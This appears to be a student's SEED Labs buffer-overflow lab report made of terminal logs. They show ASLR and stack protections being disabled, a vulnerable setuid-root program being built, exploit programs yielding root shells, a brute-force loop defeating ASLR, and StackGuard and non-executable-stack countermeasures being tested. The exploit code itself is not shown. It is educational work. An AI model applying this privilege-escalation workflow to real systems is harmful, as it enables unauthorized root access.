

## Task 1:

```
[06/23/19]seed@VM:~$ sudo rm /bin/sh
rm: cannot remove '/bin/sh': No such file or directory
[06/23/19]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[06/23/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[06/23/19]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function 'main':
call_shellcode.c:24:4: warning: implicit declaration of function 'strcpy' [-Wimplicit-function-declaration]
    strcpy(buf, code);
    ^
call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in function 'strcpy'
call_shellcode.c:24:4: note: include '<string.h>' or provide a declaration of 'strcpy'
[06/23/19]seed@VM:~$ ./call_shellcode
$
$
$
$ exit
[06/23/19]seed@VM:~$
```

## Task 2:

```
[06/21/19]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[06/21/19]seed@VM:~$ sudo chown root stack
[06/21/19]seed@VM:~$ sudo chmod 4755 stack
[06/21/19]seed@VM:~$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jun 21 17:27 stack
[06/21/19]seed@VM:~$
```

## Exploit.c

```
[06/21/19]seed@VM:~$ gcc -o exploit2 exploit2.c
[06/21/19]seed@VM:~$ ./exploit
Segmentation fault
[06/21/19]seed@VM:~$ ./exploit2
[06/21/19]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[06/21/19]seed@VM:~$ sudo chown root stack
[sudo] password for seed:
[06/21/19]seed@VM:~$ sudo chmod 4755 stack
[06/21/19]seed@VM:~$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jun 21 18:12 stack
[06/21/19]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

```
[06/23/19]seed@VM:~$ gcc -o exploit exploit.c
[06/23/19]seed@VM:~$ ./exploit
stack ptr: 0x0xbfffea08
retaddr: 0x0xbfffea47
retaddr: 0x0xbfffebfe
buffer: 0x0xbfffea47
shellcode size: 25
[06/23/19]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Jinfeng (Jeffery) Liu  
Liuujinfeng1209@gmail.com

### Task 3:

```
[06/21/19]seed@VM:~$ sudo rm /bin/sh
[sudo] password for seed:
[06/21/19]seed@VM:~$ sudo ln -s /bin/dash /bin/sh
[06/21/19]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[06/21/19]seed@VM:~$ sudo chown root dash_shell_test
[06/21/19]seed@VM:~$ sudo chmod 4755 dash_shell_test
[06/21/19]seed@VM:~$ ls -l dash_shell_test
-rwsr-xr-x 1 root seed 7404 Jun 21 18:33 dash_shell_test
[06/21/19]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
```

```
[06/21/19]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[06/21/19]seed@VM:~$ sudo chown root dash_shell_test
[06/21/19]seed@VM:~$ sudo chmod 4755 dash_shell_test
[06/21/19]seed@VM:~$ ls -l dash_shell_test
-rwsr-xr-x 1 root seed 7444 Jun 21 19:27 dash_shell_test
[06/21/19]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

### Exploit2:

```
[06/23/19]seed@VM:~$ gcc -o exploit2 exploit2.c
[06/23/19]seed@VM:~$ ./exploit2
Shell code size: 0x517
Return address : 0x0xbfffea08
address + offset: 0x0xbfffead0
Buffer first address : 0x0xbfffea47
Overflow address on position 0x0xbfffea47
Overflow address on position 0x0xbfffea4b
Overflow address on position 0x0xbfffea4f
Overflow address on position 0x0xbfffea53
Overflow address on position 0x0xbfffea57
Overflow address on position 0x0xbfffea5b
Overflow address on position 0x0xbfffea5f
Overflow address on position 0x0xbfffea63
Overflow address on position 0x0xbfffea67
Overflow address on position 0x0xbfffea6b
[06/23/19]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

### Task 4:



```
Terminator
/bin/bash
[06/21/19]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
[sudo] password for seed:
kernel.randomize_va_space = 2
[06/21/19]seed@VM:~$ ls
android      Customization  examples.desktop  lib            shijack
badfile      dash_shell_test exploit           Makefile       source
bin          dash_shell_test.c exploit2          Music          stack
BruteForceAttack.sh Desktop        exploit2.c       Myfilter.c    stack.c
call_shellcode Documents      exploit.c       Pictures      Templates
call_shellcode.c Downloads     hello.c        Public        Videos
[06/21/19]seed@VM:~$ sudo chmod u+x BruteForceAttack.sh
[06/21/19]seed@VM:~$ ls -l
total 148
drwxrwxr-x 4 seed seed 4096 May  1  2018 android
-rw-rw-r-- 1 seed seed  517 Jun 21 18:11 badfile
drwxrwxr-x 2 seed seed 4096 Jan 14  2018 bin
-rwxr-w-r-- 1 seed seed  251 Jun 21 18:59 BruteForceAttack.sh
-rwxrwxr-x 1 seed seed 7388 Jun 21 17:26 call_shellcode
-rw-rw-r-- 1 seed seed  951 Jun 21 17:24 call_shellcode.c
drwxrwxr-x 2 seed seed 4096 Jan 14  2018 Customization
-rwsr-xr-x 1 root seed 7404 Jun 21 18:33 dash_shell_test
-rw-rw-r-- 1 seed seed  213 Jun 21 18:32 dash_shell_test.c
drwxr-xr-x 2 seed seed 4096 Jun  9 20:18 Desktop
drwxr-xr-x 2 seed seed 4096 Jul 25  2017 Documents
drwxr-xr-x 2 seed seed 4096 Jun 16 16:05 Downloads
-rw-r--r-- 1 seed seed 8980 Jul 25  2017 examples.desktop
-rwxrwxr-x 1 seed seed 7732 Jun 21 18:04 exploit
-rwxrwxr-x 1 seed seed 7588 Jun 21 18:10 exploit2
-rw-rw-r-- 1 seed seed 3444 Jun 21 18:10 exploit2.c
-rw-rw-r-- 1 seed seed 2241 Jun 21 18:08 exploit.c
-rw-rw-r-- 1 seed seed  192 Jun  9 20:34 hello.c
drwxrwxr-x 3 seed seed 4096 May  9  2018 lib
-rw-rw-r-- 1 seed seed  154 Jun 11 17:18 Makefile
drwxr-xr-x 2 seed seed 4096 Jul 25  2017 Music
-rw-rw-r-- 1 seed seed 3599 Jun 11 17:23 Myfilter.c
drwxr-xr-x 3 seed seed 4096 Jan 14  2018 Pictures
drwxr-xr-x 2 seed seed 4096 Jul 25  2017 Public
drwxr-xr-x 2 seed seed 4096 Apr 15  2001 shijack
drwxrwxr-x 4 seed seed 4096 May  9  2018 source
-rwsr-xr-x 1 root seed 7476 Jun 21 18:12 stack
-rwsr-xr-x 1 root seed 7476 Jun 21 18:12 stack
-rw-rw-r-- 1 seed seed 1928 Jun 21 18:11 stack.c
drwxr-xr-x 2 seed seed 4096 Jul 25  2017 Templates
drwxr-xr-x 2 seed seed 4096 Jul 25  2017 Videos
[06/21/19]seed@VM:~$ sudo ./BruteForceAttack.sh
```



```
Terminator
/bin/bash
/bin/bash 81x40
The program has been running 3948 times so far.
./BruteForceAttack.sh: line 13: 11654 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3949 times so far.
./BruteForceAttack.sh: line 13: 11655 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3950 times so far.
./BruteForceAttack.sh: line 13: 11656 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3951 times so far.
./BruteForceAttack.sh: line 13: 11657 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3952 times so far.
./BruteForceAttack.sh: line 13: 11658 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3953 times so far.
./BruteForceAttack.sh: line 13: 11659 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3954 times so far.
./BruteForceAttack.sh: line 13: 11660 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3955 times so far.
./BruteForceAttack.sh: line 13: 11661 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3956 times so far.
./BruteForceAttack.sh: line 13: 11662 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3957 times so far.
./BruteForceAttack.sh: line 13: 11663 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3958 times so far.
./BruteForceAttack.sh: line 13: 11664 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3959 times so far.
./BruteForceAttack.sh: line 13: 11665 Segmentation fault ./stack
0 minutes and 11 seconds elapsed.
The program has been running 3960 times so far.
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

Task 5:

```
[06/21/19]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[06/21/19]seed@VM:~$ gcc -o stack -z execstack stack.c
[06/21/19]seed@VM:~$ sudo chown root stack
[06/21/19]seed@VM:~$ sudo chmod 4755 stack
[06/21/19]seed@VM:~$ ls -l statck
ls: cannot access 'statck': No such file or directory
[06/21/19]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[06/21/19]seed@VM:~$
```

Task 6:

```
[06/21/19]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[06/21/19]seed@VM:~$ sudo chown root stack
[06/21/19]seed@VM:~$ sudo chmod 4755 stack
[06/21/19]seed@VM:~$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jun 21 19:08 stack
[06/21/19]seed@VM:~$ ./stack
Segmentation fault
[06/21/19]seed@VM:~$
```

Exploit vs exploit 2

```
[06/23/19]seed@VM:~$ gcc -o exploit exploit.c
[06/23/19]seed@VM:~$ ./exploit
stack ptr: 0x0xbfffea08
retaddr: 0x0xbfffea47
retaddr: 0x0xbfffebfe
buffer: 0x0xbfffea47
shellcode size: 25
[06/23/19]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
[06/23/19]seed@VM:~$ gcc -o exploit2 exploit2.c
[06/23/19]seed@VM:~$ ./exploit2
Shell code size: 0x517
Return address : 0x0xbfffea08
address + offset: 0x0xbfffead0
Buffer first address : 0x0xbfffea47
Overflow address on position 0x0xbfffea47
Overflow address on position 0x0xbfffea4b
Overflow address on position 0x0xbfffea4f
Overflow address on position 0x0xbfffea53
Overflow address on position 0x0xbfffea57
Overflow address on position 0x0xbfffea5b
Overflow address on position 0x0xbfffea5f
Overflow address on position 0x0xbfffea63
Overflow address on position 0x0xbfffea67
Overflow address on position 0x0xbfffea6b
[06/23/19]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```